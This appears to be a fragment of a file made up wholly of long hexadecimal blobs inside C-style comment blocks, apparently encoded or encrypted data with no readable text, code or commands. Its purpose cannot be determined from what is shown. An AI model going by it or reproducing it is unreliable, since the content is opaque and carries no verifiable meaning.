0ad441663297bd263916d99f4f9ba3736d9680add158f437b58365629100e3184f45b918480dba8131c3b3a8d476f56a6f60561f6383eed72e120855f4c48db867ab4944db18cd1e2daa6ee3566a8a2bf6bb02481e9efeb4f2e720ecaf750b74fecf7ffbf0fda688fe3e015239e426d1d796d4da8432eb43d306da1d82294d68747b3423933d37385e7d81285514ab9b499cb1bd6ec2522daa9c64758332a56890be9bd3be2a8e72191a055e22d0e434f2bafd08123ec31d0a68d2f700a0f4eea50660cef378de55d561ff3e5b75ded67894a184d13751dc4a38f2fcdb486d25a045819ceb842e27752dba1cf15b46ce7351bf668ecabcdcd87663ab8ece105434320376aa96ad64c1d163cbef88b250b7e726b83f314fccd5ea6003d42f74680523148dcda644fa1e07a307bda8983c2329e39dc4a3ff1d82f55536e6a7e093171ca4de3c8fd981ba9eb1034dc211f5958db2390e0fc6b485c385c8597cdbe1b0032f1616af087c4aba718efc7ebb75522fb35b9c96ca84d2708180f2bfb52ccf9393c32f4034ee5ddeb17ebb72e817bc135c32e78cea9d5f629c4e6e04818907e4dbf1d77925371c8f7fcffcedb241fae0aba8050a21b36098a92e85840fc3fc423c983219d521eb7fb1a5d15f5ff7973ef6fbf0613c9751283c2ce559550f08d4cc7ad7ad736dfdbebd43b2933648baa74534b3a37cb8a1305ce513239fe5ed0832a62ad71049338f067fcd333ea38ca67662caf06d366e07ca170fc23550bc22563d96ea6926727ad5b9296bffc468d9e027bb102dee28f01f8545eb47daf686a2e0739fb22193104ceef72a658e0b2bb883b2a7dde472bc44a66a33c649ff7404af7c863dece61263f95a225987a2ae7736342ac41895baab05a5cb7d131e39416849e7a1cf6eab79a9ae19b00dee1de8bb7ddf18a2d19832d30bd8e46d63d310880f65a99cf4e6cc27771fe1f8d0a15b3ad02c070d534d408183f6ee9deec6c896eed810e2b41aa63c6eda8c67d6db2a28a38cc9cb2322d956b7fa8374c806f1f0d98e71b086037b555679884cccd468b319b382ac44e9d2cb1cb13273724756ce72da2791ccbd08f85df915092980d31a032f3b9fe16438405c05776555c82d441de037b12fa87fbd741cafc1046b8601d5a0fb16b7d9b016486ddf1e889c301feb84cbe5da8e1ec5953926f4249dde897c34304f03152aa8d4e9bf92d193bcef80f9ea890ee42dc39b214b14d0cbe67ba81bfdeacad24a3c5343759a8d345c68e25efc2f1f122911a63a401cb359e4173dd434cec8340c6713cf708276d2158d37b6133d0fe4cb84221fc0880d81a43a5591da7c85be490554e7ff0f204ea4c866f857b20e845415a51669045cfcac69fdc3adb231e2f6351fef2031d5b17036ded3645697a9ed86cf9a5219c3f1f9e13a105f158e7931ebd741fcf*/
/*5d50e9f970c2df0ad14a816a0a9c8bf6b50a9dc653eff2f53fe36f5b2e2ecac6c7c2940c959ea2ddca6413a15e23b24d86cc28ed064f772fb63ddc877b7a40fdf2a34f8d48bac0862018dcf31638e833a987932688b74baba7f7fa7335073b68e7e1f6cc6864841aac7e2296ce78128f35aa9c80d126c6827570021cd1175f86a6f3bc76b98ee5609ed417b5b380d47ec7c9e53ee5bd046fcacf5a16a67c9495b775083238d488424cc68f6b81597fffa6baaef243a6a53fc45919f0f9236716ab3dec791236983ce335dad20f29e4a3cc08caf26387661d2d62294b0799f95b0ae33e4e89db3f20817cc4e458a81f9281fc3eb58733a81da733134d0581993f160ddff376901522ff5a35a56aeb08d558144acccf82aa1be564aa91767202bda70981319a8c381b2575131aa27a8c1ea10c0679460ac0613e42955afab4fca1fac1f42d50c66f7d039346d900fe75376d78ae95cf2dcc360115ce7194889c1114756c90cbec606d409edc6eaae0ab120293520076b5fc06709409449a5b7fd81c1b65a21b3d8d78be955c44f34e96e13bc215e64dec3a7f191ed3417282d33e334951d849ca4e14606ae797149e4e6c0c2bb252ca612b214f8609662fee274007f43f2867bbbf1cc91ab4921d92ea186b21a2eafcbd7059ccd55995f6d1cb12a7fa4dea71dc762df76ed3916cf4b9b275a3a55b339b9467fc6b4972accf445f507c3e0ebce036ccde36c804aa8b0cfe1667088747643092aca054473ab5ed9b16b7c3c0808eef618e935eb4e9f6ace8f8fb2e21b0ee181d4ba829a0a37f36a6861d2e5bc78bb97fa3546ca8b426b6511db31b1628f46801a5182a512b3f76f3e190463163f3dcea9bacb62fb23bd7e60aaebbf2144a9e68f95d66d5d70dea9f5d4f86f3ac62317c16213814ccfe0d00c8ca8f16b63d3d1afe01864d380376f02b700310a62a638457b376fe2e84f8537174d6ee73599f9c0529666c3bc3efd2f93b8d689de058f3318857cbfc740c293b65353482e6162a4d401c08e09dffb3319c2b9b23d7b13afd334be07ec1378f3de9e194df025648684e54c307c9fa126e9f9237b2ccc7bd7a6b55413b2d507dd0de96fe34fdf979f02e7a74a96be517d78c7a6885259d409bd98fea2171647a9442809dc96fa6495271f94df3e2e63cfbc04686474abcf509cc9358938aa6fb3b8be7a65e57b97fe29f1c17572fe26ad11304b51b15bf3811305007a90389ede7a3f868a5285fc86df5771aefcbdf253eb4737caf5d9fe9ce08b662be657dd386388561fc559e80e9f18f16bf725b7d912307fb7902d43b729bbf73413994f7fcd69405e7421ad3b27f010a2a564d1f53e9299eaf541e838df13f91fe562864db83d0290a9d71c8af6d1d6d1b5a5057b915a632c579b84729d88df22c71e9b4b323a379e4dac62993d91aa0e2e810e68ab0f7cec3f9af007b2667deb7b42ddcd80ff2e02ee61e6dd7c42588f11a4f74c211566a644e2c3f861a7d29b0f64329c6c2312ca88536318b5467b7733b1aff57dc4d07d92d5d8d0f5ddbc0daed3f7e3ddcd2b9400df0e3cefdb3c8b8d3359927d3d154e0f4e33f7e448ab57464b83d99e13bd85cc83e249b89ef45db62559145a8ec7739bcd903c0444d69f419c7dd7db06e594de7078bce160746f927c412073766ef007f9fc5e014a1e8751ebd3de0020e1b39429c1e12f2095b0319c1f6844fa6a2db977f9738bf39f38854ac78ad78145aeb0de7862821c6f1416e577f06a377930c34849ec59a2085d2ed0bd0b41f27d2904851f58acd9c399d0ba25708002d2d1bfdf7f005c81b90f7f42b6b2a17bd1896a40cb264094a72b9c532d59b710a238fed2820d142441722f624561ba87fcea208509418762d896454ef03bf4bbdf1f61f19334c0308caac2e875ebc0431db653a574003016eb393f0308092093c5f1be1cfc97cf7b4a2639a2a77f033038953a85135a3cf16681ee7d33f8fa87ef0a7d9bb635f98b6b7c8fe753288d8698cd963c8d6b377a34c5eebaed4a4c16f46b40af4dad2b8541be4ac85ace35044b1c058db77a8fd2835fc864bfdc8598d2315848743f4d824252e31cfb3a079ce194477508ec88e16d0d9f9f4ca7122c57c0d4e2ef2fdc4e4b855d4e8bb94861527f985aa7c830615be60e03526340b7b9d95c802fcb9f8877bc86aa89295fe31a5cee7eddf88808c5904feeed4598067cf7f05c8f557fb5efa98f029ad872ea65da47bb9532862c6f899ddf2de3ac14345c8421266573dc2360566297279750332b764b1b7904533beb9dd7c66b400e4548ade475a38798519d99ccff0a5f061bf5c2b9155bfb96dc8aec79c88100fd920e80ecb48f2c52c5ceb055e427730b4b0661bf85e9c42a1ea044ca79e4a435c57b5541fdfb702b93d1e9c9e93257b7c44a0f456d10f87c1eadd30680b8a215f533eb161685c3c6f5dee95757a8605836360c51360c24d7e39df8a74e135435e5e06af3a3ed83e8e303205d7a651337e3ee4a6f472db782c568e30989c3132fac6ec2044db4618b0e4e62cd6fd7a9279a099cb9f8e6bad729457109ac3c9630afbf01557d05bca4c60b08834a7b9a45ae032abff8bd4f1e3939228a45a6c62a00ae88453b49473b6dda6edd18af37e06e595dee524142054758796c4d36d5c4f7be92a2833c6b50ef80b834c69340455356c588a3fb49bc8bd3473b43c3b8320171ea602b4a0dcb8b986989eeb8901dd2a646eec6222bf3754f240297c847afb7c8c96eeb8d6a1ea265f63045878d0c008304f357541a147cfc79e796b18b903acadb9367b9117d184bc0c2028*/
/*a2a42e66aa17b1d30b2c7d30e5e289d5b507622d2065ebb50a92107c2b73b198b266e70e86ec2296f33fe04f0d53a49fe56cb7b4b677834f21afbb7bb30feda89cd494ff6a8ea382a5b7eb53435b246f798f72fc94aa578eb63625eb1c334dd333127e9a4df057a12c4b77dd3ee3b605a2a3b6c47a449b0ead80552bfc9894b11203ed37b0d28134b282e2b42304226cd58466e27d95a63899831d8dd12ae1252d58cbd15ad28ad566dae2a53a0a3ac1cf2bbd1049c853d361e76633c6977eedc19697b52162b5400da2b1730194dc3ea31e9092c8e30726e25b028f569d0a3c5da04d49919364390dc501a25bf1e3d4dca26b580f90f2b8e2176b12a3d94b8140e44a69088efc4ef2eaff557a20727e704ba32f9391347f96c82b2d44572b0071800c5207b8a2aa5a311a6b50c6013159295632fa43fd6df48b599ff3c2e60afe9f595d05222b90148702eb09147eaef7c5d6f80f409640465b444dcc195c786bf1cd62ea0639bce7487631274437958827097079310b97f2318291161bda0b4c194898d7491da1eef9f288f291997448fd442459d9f03118cc5fcbddd9a424f83ce98181188b8568bc7f7743ad297046335e8cd2f7ce49da08a941cfd176cab5cd39072664e6e399dcdb9bfc106525cea3a1d223a3429a44b572c027e41b686b025b527b491447971e7a3f8935f385b145f06b350a6add4875c4394aa81ba1efdcbef724c0c16957491e71706b7872abbc5b0aeab7faa7b1187f2149c77fe5f3d05d794fb3133ebd5f90ae7145429d1be8ea95d278cfc6435c28eb25a7116378b47f99d8b5d09c55f498f8f10cae8a4252d2a2d43701fc7da7d3a855493bdb795fb7e19a0fc674b39704c57d1064b9fa3e62519059706ecbca60b5ecbf3476455f85efb87afdc9f1c05f0fc13f430c20c82ddda586fd423e53b02c40407f36ce512895f2f03119e621b421c0f40425f0e117b43dd03c9a483e175b9d3ac9ca1d6d98d76d71ae0ed4e1a7caef76a2958d66d6398db93af79d49a00bcc26ed51b8cc47a36b6e7cc24517366bb5ebc7f93192a3937632e7e62c1b0f87f8d6c1d6ff4638dee2010efcc5d53d84c7323d47b4a3347f680eb0c7f26d9d640f919f4df1bf31ec2ac7c0cf5ade950934f5e2656b41df5fde25ab44c28f365d880f52d24af62ba1d0a45a2106e35a3aa7f0752e35ec1f06afe0a50821fc6f7e1e90a58ab047df215fe21cfd2e58aeb393c853573184e3c6dd9be06d69350e8a956a8ed2a3d45a115993b72b16190a303df171c845fbe54e0506ed2fa3eae8f2d7af7638567f5c5c6ae43ca20487200051833fac77f42b0a93436d8ac12a5132c9f794b526adc7054d4fc6925e9cce88d91ac2c07a0815c570610e84f869da1a50b2dae499e4e9e6d81403b274a9626ce14db17d05abea5bdae97334f771f49907572fbf21cd2c4a24eca1b4bb94affe053c995c8e24b350a73f3b97801a074ba68bd7d2df15ab1ac6274965f03e8b262a7ab41518e4f3b6098ac5911e4e09b183445603e1ed119a09c44c848ce8110454ac3006e4ad84852bd91a098937bb130af187c9de0e8fb837715119aae865fc905aee23f16a84a6662820c9d039be2360744782d0d85708833aca40b778745b3b42b98d3204f50a11888bf7bb06a81ae119ca69508367f494643576e917a1dc7fe6a189056ec7d383ac98cc9d447723174266bab0b6b5c799c8db9c9fa15713ff33340df0ea8b5b5dcd94d5d6b494e47054b07e1ea2e69784d712ec07a4079c870b6924d0ec43d6906f991fb76e80704504b6bff11d36b1c269d068221d5724f90e0b4777b93cf7e33b95063c3336a7f0e0e3b1eedddb02b4647d3cd23a9e2ee3fe23054e4986f0359bbfd3664f65a29a9e37c55a239e8e6950ac8b67819d4ffdde46e70315739899eb2bc24bb7680c45858ee4ccc543d53ad4ab2b0721a8b0c68b33fbb1a8e0c0095ac6fd929e36b1344c27c85df010604b7a7143a6e2800a706ac0f05e64db066d69620e528c127fe618c002ae9dd22e28ecba626bdeab89f60241c3fab77cd400e20151232db9fa95752602a114ed90cabbf6e69019768449cd4fadaee073ef41c7875bfdce6ab904ddf47c63ec59c103776024dc492fb160b99aa63d087ebb069a768160bda24c11c2737ad6a3b17f676642524f19fac4a7279fc09b8383b97e3beb8d794d443cd7b6df82f4a243b70ba5ef5d45422c0d577ddcb6615f0c4f927f16126935af0bd950706309d500c3a26da18d6e5e9714ada4843cc1194dcf5c51d33f22a082d4b62a153354a8a9e9908060afb02b82666c61f4d66ccaa716b80638d7f267ed42d07632e994c28051fbc79e48026642c6297bb6a255809c343cf8bc85d9c2d266f27dd0219bc732757bca89a4b79e4297f35305313550b0df34cfb8de1d2ddb09f881ef9130d805221abc073830a358f6854245934bd2cd685bf8536144d6186e7e67b8c52d9f94dfbd68d43710f656ca9e090d895d780201d3b51995e768415d0c4d39852e877429099346568a717437a61697ffea9ffb10e3b77700611cfc9689ecc71c02abbd27ce40e59406a7bdaa1aee46d22b037b2da2a073796f9f3a0b19ccea50f386195863dba1481b7538543276d68b26e65a33b89c8a96274feac54d8c585a86c9b94e23b747d3a36a05591bf2475ccc84c154abf51cae7c4534299535f998ec84675a4ccb04c23a5a8b65a0d384e0d5def62687723196545a69590e0506d40dd9de4c82de1032343393aa4f7aa2b381939357d25d118c89075b16f79a953f4448c66565e04a10e1c6635a6c8e1914*/
/*ec08fff245e62bb7c47579e44549281694f69a26cafe5b4780f3c05e5efe028ce855ace73dd76c7be2148faa7f478ee8e341f28b2205c7339e1aff1b60fd2bc7d11a0b9f4aee220e8d1f3b7befcc2ad0bc79832693d2378c2f235098179dc372004087cd82e64d2745f173b87466e55729f725480b29b0b14163644db19f5a2e1ec47b499690b5d3028f40b8a1e916493eff91330e1cf28dfaec265fc5f35171552b7a6370d81c962145f806b1cdca08f1c6e0d1f3e2120819b9ec66618294e68514cc3fd9ea460d74d891667248f9f9ffb98e894316bd78342a312eca0a181370e24c875e19bea4c6cb5b71e6d66fdec4224fcc72c43ec63d4b8d7d37440ad7e8ce621775f2742ee7ccab4ea14f16afe2a4f3c1a44f25d2a37aef652e8cb3b345c1a7fa04afd9b7d3966596af7f9e5f90adfe3e8490d1da556ecbcb2e3c4f7c6347cf6105b48920b29559728d1d416e78fd2e6efd2eadefa736b447af82ad9d7ad5d3c2fe09116750005edf6cf893edc44b8f3f8bd75aa280e1e9c9e3d5575dc3739f15fc051b75d68e53b624b813837d778647153af363779dfa28e507817ad8fddbcd60b8d18bab267c9ebe7bb2cae92caa8ab876ad8013cc762db017189db9cf861e1e1a0ffd05b54388419c449b6c1fd9f9ed71a180caf3b21910200cab52dcfc4d3948b5b67ef699dad1607de31de56b6d8f0c934d0625f95a9de1b9728694a437f1446acb01deeea00eac2f69826b2a657d0011eb16f651ba495584985a1f8e71e4e1e2cf30358ffa9ef6032d61ba3fef220271b4795801fd96bd0d086797a5e0ef07dbe82600f1251b71b4bbca9c4ded2403a621de252b7f1b4249a643cf9ff38434385fc940355da925679bc32bade9db337f8733f6eb3c8679dbe177db1dfabe837a37c5f3a9cff60504b2547c1c2763f429a8c81c78ca53de913ee075c0a8a77581fa7f055da81957109e23fa353257b4d7ca4f8e2a0c7e2d0854dcd0331f8e1989d864ecf0d7b752aec1652dc0cbf635bd1d87a31ffbd33672f351603fe139d76baa128583a19d4fb68cf1ae4a25b50a4de5213860de88d620a870aad8dfc139440ddb3309ce7a58c1d40f65c26b161abdf4186b802091fe690a77b38b6b241ed9c94d5d6832b1f134dc0ece3db8d22cc61e2f7b4a487169208eccef932547c535c4d3464dd035818ecba8406a98edd53ffb933d78d62e05f5245f45a090160d4d772b605eb9892118c92c9240ce89bbec9408dcc417cdb65599e1df77918f74fdf5fcaa84830965e2514d8afbd315c95116009961e5d385eb488dc4ee6a0f76c6bd99923d545fc34c76d56bcd845e6988519fddaae97f21d48c1d4c2492baf09fda779806ab96e330c27c40afebc10ca29fc78d0e3a9d1bb55fb6f651387d226fc693a60df8133cae8da4ae6f88b13f6fb72758f32644df1c160fd61ae99319432b2140120e0a71563d7582310584ea35ca49d5ff66fb0aec320c25e98e7ea98e2f6a2aebc85faff3d2ea4e73f891198c6d1e3429bc6e66f42b84cb57afb00f8a5a2a93ac15487371e82ffa1d4ac4e706a5ce16f54fc44bd999bab13524a9a9f8c5c58c9fabcd9e7aef5516206778f093d063207b72b0fd3f46bb178010d5e8808686e1ba04c670eb11b866f97e0478fa667ad852aabbcfc4bb9c625dd2a50badec92c94f5a4337895d9a7f06993e56ea6671a4905c63e39e7366eba056c3d68354acaa7090ca80d82262a58d49fa865e619b22d8b112c4dcd82192c1bc80e472c7b25f30167170470b640e19777051eb165d9dbcd56d27ba26899c86533f1992d86d44127bdee00a69d4ce57e5df365c3d439af063ca240acb0b4b6cbd06f52e1e73941f7688fdfadf3f9650ec3b6f7730f681485d96d9656044c92ff830f733e93270c3fdf7697db140e2b827ea028001353bdee20ae9c99a23cfd0b3c744b44a94d44729ef8ea8256b62d4c3034987a00355ed061ee2cb859d4761a7d2f0a27d47a7597e15fb0292cf0239f455122478f82aed9add3695f223193e6f259a86fed6015aaf2a2d733a4c72565b367e6ebde0c65f1f12531a821218ae8530b0a4e648164a6e9994b207d0c2fec81bdc98ab1d2bc16c944b2ee2eda8be3fa64615d92d177364b68711fe07197349cf16255e00eb686eb16846fc0f158a5c00865e94d0721e8ff5490cd4fcaf5d31320ca1e70a727237341454378ebf6cc0ddbe06c6e7c3df0291057eb759ef3ab1f4a545008e67b27190fb0fce6f1b0577ee3ce574d096e2b3dfc96bc520d3f39ead14828a735f9b7d16a0746906e64c4c7da6428726c0d8ff2469c92b8d5ce793f15cfb81537d6588ab0cc338c45c3bcc0c5503cc9f31287707d91c59229778f359c68bd327844d40a4f6a1d6cd906a96ceb659fa902e876b6880ad51dff0353dc22983ec2dbc68cb8634567e2ee5820793c737206d708269b9bb2401bf2acbaa9d7ceb751882e5fd7bbfc4d6daee535675464b35fce79b6dbc2764ab9796b47925bd0abd2bdaa911e40fe24b39ac498ad1a5ae3c35095c8e7c8983e1ee45e5c63a39f8f03902505663569c0538e068088148ba8700509ddbddcee15fab13e9bb1d01ef5eb57447ac55139853a01fa1630b5c4acc083b931a2ec1b3ab11ab5ae1c4ca22fe95857a42de72775ec701834c813a1190f69d95407bf6e5dcbb4ba5ca0e5cc4b98336729b50b8bfd01ac69caa560387d69aa5ea132bdd96ea8f33cc29096e85f78674018fd85bbd095c6c62f8967198f44d404cece84200d64eb1e57ced6c8d1d3661022a6c1adb97e0a6893d198a226c5a8995b4bbbef1d4*/
/*db50f4871b071b08d409141ab5cccab97033c0b37d7e2cc4af307d26d64c9cd9704dd1ae908db6fb6c36245c164241288d222b102bcd828a9f63d19aa187dab42eb16334751a6b640df0d2acaf4ad7db8e33ea056d5c8f43a2ffc553b22d4ec5708053522058870e084c6af7cc7ac546a76d4e5ff26c864d66d23c84c0c91fee36f4b3f1188ad29fcf3d4623589087208f95a42d5217383e7fed5b6f1e9a8dbee3e7aa2e9d9e87349c2b780a3f66c9663f406b93104ec345ff05b3aa49f803220938af31caa30d0673f4eeea17d76907a694038458e6b840e6481f0772e6f499e4e6405cc44c76040e4d218008f525c88e55ca932db532e5f3be655e3fa79a2641a73d3f8f30b44e7c896399d29c26e7b8adbb31b9aacf3ebec010fa1eca4ff1032a722a11264cde79dcf5098868240ab793a97ba1455232edfd66d9df6601b5d5f6554865a19e37b460402e78101456dee29bfa371688eb1b2024eb2cbcf71090d5b96d6741712188c2f329bc72b94ac481710f2cc2c2be65b01d86e995d56fe165c032364a170b5daf9539407936b2e6cdcc13ab8d5b64a6c1fe8a650c83487cd521cd4c0a8861d26856edfb3d162796019f2943e6f4f2c1815ae7127804281dff69b5233340493ee93846fe0a0006fbdd9c4615d46992ca2e201d0d319bde9085e16ba89e8a5dee3e79bfeba804a7d9e87244a2a2b65a26a5789e46ea743f36e46d20981f6c72009b41273e780f41298e5ee34bbabd02e2e310c2bd0c1c3e9ea9a053046f71a77da355d55dfba4696adf4dca1b78e97f0d96f891b477002e799a3352bd06e9817965ee6af7c48d27958452932a7cdc516ffc43fd2cb333f64b26b5735bb485b938447346e8e0d370586056afeed315e86b213f0f929443e30b353e546058b846b5fc9ad47df29aeeb59bc7673de1ea2b9be8b3cf1a605fae925e8df0361e3c0833663dce831332b1f754ff851ff1cfe689c6c2062e3f7a733b6510bed8c7527afac7688619f90df4074c7403017da3831279493a6af3e076baf467901464b7527217b37c211b98c6db05b4e81d40e4613da844e6206cc94e67e4c98d4dd379240705340616ba6afdd542aeccee18c24cfc9bf3297910ea783b86050a19756667481104f197945ca110e45e0cb529a001bcdc4461b425d5bc5840fdb63a03c87cb5fcde7c26be107ba50c42b3d035027e0317f4fb96663cd9d0e18b83a3abb43dcd39ee453f825d4154608454c49395fda47a1a04626406a73c9fa86ce3f8ebec510f1db533854cdb8e9584374b13753de18981e48875731c37e040c5f29cb2d94bdb1ae17038b9f6b17d85d851b48cdd5646cf4ecd41f77b2b651d489cfc22981378d0d69c907b6a36a2fdc5e6866c3ae511010935dd60a9520955c13380ce7881c2c551f414ee8e2ed6e4d5e637090656d6b965dc02401d2c9be60ee91b5b1b0c327cea7ea9d883c8c942ecdd06979f1d15a0448d997aec8c5a496228b92ae12f6997efc5a432662e999e34cf918212eb7208ad63600e455a7da8cbc8b1be0c2b1c3043b4c3c094f9f413b8f3075dc862c7709334871341a83792f4e87eed0e74aa85b019b507774bb75f034bc61009911f4be5cf921cf1c7c3ada23b88c28622082a626dbddf362bf0c943290221cafe9d74f068844f3e30cfa3ec59d1664d24cebf850a68497da92310dd1dd4e4eea33517d63daf23b995a054ec82dfb667bfafc1cdcd264c560b7615b59f7467aef665683c28a25d142684a90840551f6bbedc8e815d6a9161f75e1235ea8724001b12fcf73f1f5391125224187cef4d7ade3ce574c6cb54352c211cd87b8877a0f6ee8c0ec5006788e56b3dce25709d2bb0870cc504d0dbd1c35e5eb450741cd0287a1b600fab7b101a590e506a4db4524c63091a9dc34e5254c0e2f288b5363e9807a014e534554950d76fad576eb521f90b2b7adcb7b71657e2e4a200211f02b4ba0d170c8df0728ab236c0564c42ebeb43f54f1caf611fa0762be886a9b1c0ba38712c73cf69d6d10be21bf79bf5ee8a15e980648328a02767b96670ba8feec41dcdd703d2853fd0fc78fed1e94461d409e432372a222311206f06c4a0663457d465afed4f4383d541043990cce6b3b79f413ca68800c6a6f2947a2bbed0bdb1902d1c748cc15daa2214f832817fc1f3b75f25569174f84ae7f5facef3689b5d06a0852bbf6f7f06e654ba8fb135340fddc3d54e87963986084c9c607324a72c99099e9ad9473f4db73b0f09b6ff0f1cf2f8d0ab96dad79061c03d6d807f95e4d4c4a1cd887af47c697cf253f0da9d09aae0726a7a5024e7d44bee1fe0e94e4b368e06555d24ef6b591e2809b2ec0d498a92936a59f9bf9630c395df5bb40904fec6197251219c813f0f43486bfea931319f2c5340e7d8c60b7056e394abb029a4297472fd21bdda8b4d755c92947bb2fc212f33a87a562964b2ad821824d3874e160a29bfdb87971d3172ab82fdf03fc020de8e9833b63583c585bc309c8e4c723f296faffbebf6a8083e3f16f1106383f105ab6c79f4a30ca7492f36ec5c4c7b15c3a6b0f31de8eb13330fda273b73d3684383c1fd88f0c691226f93807014d4660cb0c4a658dd4ca0ce0a10212889710f6a7284dedaf1155ed077a5d27bd062e2ba9fa1101a3274382e1eb509b2cfb6ad9aeb60a7b2813acad14249b7d3f754fec2698cf77c3fe9f6605ed17041041194ef90ecf5ca864427a0c12c0f20d895fd4b8f1668f56da760e3cb4e6f1bbade78204a04d55ae4dc84f3a4746ad13cb095ff46e245e9dd38e6ed22af6fdb400625409c4d1aa0*/
/*44a4be884b052a73ea688915ef22c7cc8afd811bd540ee47af75d395d6b2eeeac4c5ecbba90d3dd5f705b27285ee1e8594138f70c1084639c2a2447dd3df7fbc87e8ff56b25446d30b72a24d3ce2a9ed160abcd5aa58568ab52367b8eb03b0aec888799560113b90ad6868cd148bf85aae27f237d3915f4ef710b05b544e744ce93a2b748c1085fb166f554fde4cc69de7ebe75c91db6134d367875c0b01a262fce373cf52eb94d747fb918239cdee6a48cb1c4344ca115d1441d38141976a1381cf1d10aebb0bf03398e1b2e8ecafc60ba14bbff0222671d7500123f8b235f7535c50d426d35304ada5d78098345497c87f6ab44904129f95af8d9835859e2738eeaeeed611717021a9a6f4edfd673c775daed1e0d0f66a13185de85b9b9b153d3b36790c2ddad060478b602e86118ac52c2ddbe0cf14a6d89a4ec03a03c5e05ecf4e1e8156e053ab0ded0ece1cb22183f4ad96d0bf26c5fd603447a62749124e9514d0f1b22a422886eefbd76835c808e2803bdcdcde724a5a7febd775a3946ce5481437811a88b69d0493b2128ac6eab5e86a78dc59e6a21222e8336e1cd5098a6b09a0d715bbb3ba94cd28c22eb68027195b439f1a568ec85901238ee6d12755756678334ff15cc52a433255c10eefee8c0e0e4d05dd9bf25a0d17516166e4b1f363868f6aa6efd26778afa2407bb5e7872992b0d252f22824f66c8c5cf528e941c49a0e7416709d8321e7217ed1cdc6abd826b86e8729de69fa3b078d269c4bce994965c6139432380d6df9c8cef053255fcbb71758f9ea4f7e0ebeeb46ae9494b5d487ceca663e8e678367fcbcd984f0f9daf630bf6d323c1de076b788b5afab8587f6f6dccf2c1844b976afab9bb22e192fb82365325a633bf6ef09c08c366c2ecbbd4ea89b01ba1e224627c41c4ce4168dc5d22e3f511c4ba40c284d8071b0433b31a243898b65a11cd5231ed808d3ed8387840afa17f9d8a5384861922c405cebbc4ef5305f8d95d1d15417ccb5c3d6de56a86916f6be14f35e78a27c1c2ce100c8b24e211fc4fe3aa3ea29339712a8fdf5e5c5be796ee8f0096dc7e737fd2a111ca8652db1a42ccc90e804c6116cf70302036af87c74d4da137d6f2adb841eb200f6aa49b669f1323e5163ac0a0d17248a76b36ecef7b96efd315db589680d77f551ee584c2cce715062c0db87703a6d32d433cf4f25214b719ee39242bf0c9db60cd1a8156cbd563c75a0af3b109b9cd486a836a4b33b765baec80d8d6c3c7a19ba501255fe52e68b2702e649a9f9b81d81496db0de1489e5cd2cd4502a4ce64bbd8346b7588fc2a7531850008b3f88b665edf053b449af17168a46f3b83ba33b9693121813905884de55d453ccdf534c37d25dfece678f6d7570aa4b95622e7cfe410681e42d5a8403c09de49ce73bc6068ce7f373f552dbdd3fecdae9e2252f7f6d59c40e93edacf6976ea1a9a9212b8dc5241a307bfc2bf3f06aeb2aad759613ff29a802da3604360650ba50aabdfd094cf4d8b6edb1db0e004d7ad359abafc854263a66f3d065876c5706279a9a95b84e9b4b10f1bf873fc239c1d1a5268ba9d8735b03bcd0395cad029991e567d2306f09f73b0783a929c7441c75ebe5e3bfdb59b3695cc27b4fbaa1a146f08467e796a6a1256c8ee287c5ca4b60f432d00c36cd654f48179fd54856b9dee81605b553a0af3f1c36212774876d5979a6523963853babe31790558d1715374bac69e06ed9d76f9dbbc2c6dce34ebad4e0e64edcd28d04b825f6f5764b21db2dbaa61652631ba5d402951c64a2a2e08b97d97afe3327c77d3b657085f14da2d0616a2953261f6c05cc67e574a53b7e324d7190bf6b896bfb9102bf6d84ac7529116e021e6aaf67eaea707d141b6927abf5d247f356bea2c012394a1f22fee25b07b10af01f52b5aa5787e521783965240aa6768e31f1d50251c4be0e38185c995ab4dcc9b84031ec1a08f4fc4ce973f65e9f7e5e579c159cdfc44f5a8d6847207feeee90754594feb074ff534203064c5885e28a33652cba14df260c90fd85e990dd67b3501a0efe16d19ab498d2e1a0fc661a70663ecf7199620386f7ea7fbbed3f2da51835a26ee37f5d51a1a88cfd709ff4e1a884292e99f61a2fdcc44a93a96f001d42ae039b065300b21a678f1d54df2b0c189c4ed8b8726d026213b03176d6aa2a3ce28e4a960529d4802f917f8fe3f868aa66f42c92799cbc0e1b6b7fe19a41ad6ef6d3a04e0c1b32bde1a598e45e9feb1815d8e9f5ea35e819ea21a9c8d5508736e711f5584837200a33688e0c4edcb557f0143a5c25c2c34b8a0c01aa83d930259a012eb71ec33b050f6c338faf0080fccb446acb62424511b3c6ebd89c4aa42b112eb585b58da138a2aac60096bf910a3032e980aebeaf057da5803be4f5b64c12092d65c8e44fe03c033586a9259a576a6ce2b6358564c82dec7fac8538821bcd9b997c0b687a1ba353b34c68b4f95357702489efb675030760dc553fffc5d3810d5f53ca221c62a0a76131835c55de390bf392a0e08bcd38b694be6bdc686ddd48e9a1b60e0e01d21ac6a47df35a8cb86d619681488877132e04146fd1191c474fb5da1389f6c3ea3d936e54188cef1802ed8b3f18320ba275edebce6f1049959adc4975d4cd36f5000ea9fdb4cb6e3701b3900b8a2904c1daf359fc94babc05186df822838fe2319c9462bb10b2746b804ca10dd8f1c06f569cd30db32c93fdb4ae7059b72fa352ad7001df2cc29dc18633600fa64725c88fe3d306dc967114527a3eaa1c6e524c017b046b12d65a7fd4e5f1267979*/
/*6780d20081b4241feef2d0e9f866b8aa2d186a5b4fd9205af0927e0a2a6d205280cd05c18c49f7adb5dc26f6ed1160374708aa8fec12979f4d20abe7442f6874f4a67997f642bf8cf10d828683969abb43fc4757f0477c92cfc4cbf8bf4f752ed69671f0f3714f107f5e1d0a5155e4deddd19f51c51fb4423f996f310c98f9f83c061fbd23c69bff8043e2c2a1494e389f7caf016c50d851eb371f9cd0764c3c0784608fcf601c50674009566b5576a69cd33f7bb490b88baec8d273427c384ab5ad522b36d0131f078b8e17f296011963c17d7d6189790053f3afd56a2a7ce224e4b2f9a75cfc71ed8f611ac9b78152133b39cc6f76a036196420f6587edc29e6c4ee6349cf7edc1bfbe9168d223d40fd0bc7d371994d778a63571ae5308130ad3e9b92782103a71b4039478cf7fc163820c195f9a3b216ea1272a9b3db4f28bce63fc795f7d1e4de4ffb45161daaaa5fb58514ed21a823d9047b8750077fc3d269b34fcc671797fb5e6fd4ac86ace470c8500dc05782071e510887798175eb6a09decc8c7e8073933af436db1348033e8bdefcf1051f90517fb6ca35c491584bff68e4c909d62b85d003b0f218984cd3b99567b33a663dab9136d44dfd1b0097b344a664c81fca85301b28d1a763fd82228ce5c88d9a6bef7508ceda70859a9b0620a9442cfaf8bbe1de814fb4ce88445f4745df3606a8d842a7d9e652d942290ece93c1ba016915ea42c9898113fb2d02e17a7fa7d9c9120b436d00fb5672931fb176df16f98e